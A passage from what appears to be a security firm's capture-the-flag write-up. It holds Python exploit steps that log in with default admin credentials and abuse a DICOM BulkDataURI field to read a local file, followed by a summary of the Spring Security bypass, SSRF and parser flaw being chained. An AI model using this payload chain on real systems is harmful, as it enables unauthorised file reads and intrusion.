admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. Read the flag file using DataFragment BulkDataURI
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. Download the DICOM file and extract the flag
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")

The flag ENKI{70fdfaf2d4f48c8afc9de13c4c92ea02b4afc1a1d73a13e581024546e2cee53b} can be extracted from the downloaded DICOM file.

Overall Evaluation

This task is designed not just to discover a single vulnerability but to analyze the service structure and link different types of vulnerabilities in stages to reach the final target. Initially, it involves identifying the exposed features and access control structure from general user permissions, and based on that, achieving access to administrator-only features through Spring Security method security bypass to continue to the next step.

The core intent is to link framework-level privilege bypasses, SSRF during the rendering process, and DICOM parser's DataFragment processing flaws into one chain. Just knowing individual vulnerabilities is not enough; it requires analyzing application logic, internal function calls, and library details to complete the real attack path.

Enki White Hat

Enki White Hat

EnkiWhiteHat
EnkiWhiteHat

Offensive security experts delivering deeper security through an attacker's perspective.

Offensive security experts delivering deeper security through an attacker's perspective.

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

Subscribe

Find this content useful?
Subscribe to the Enki Letter!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.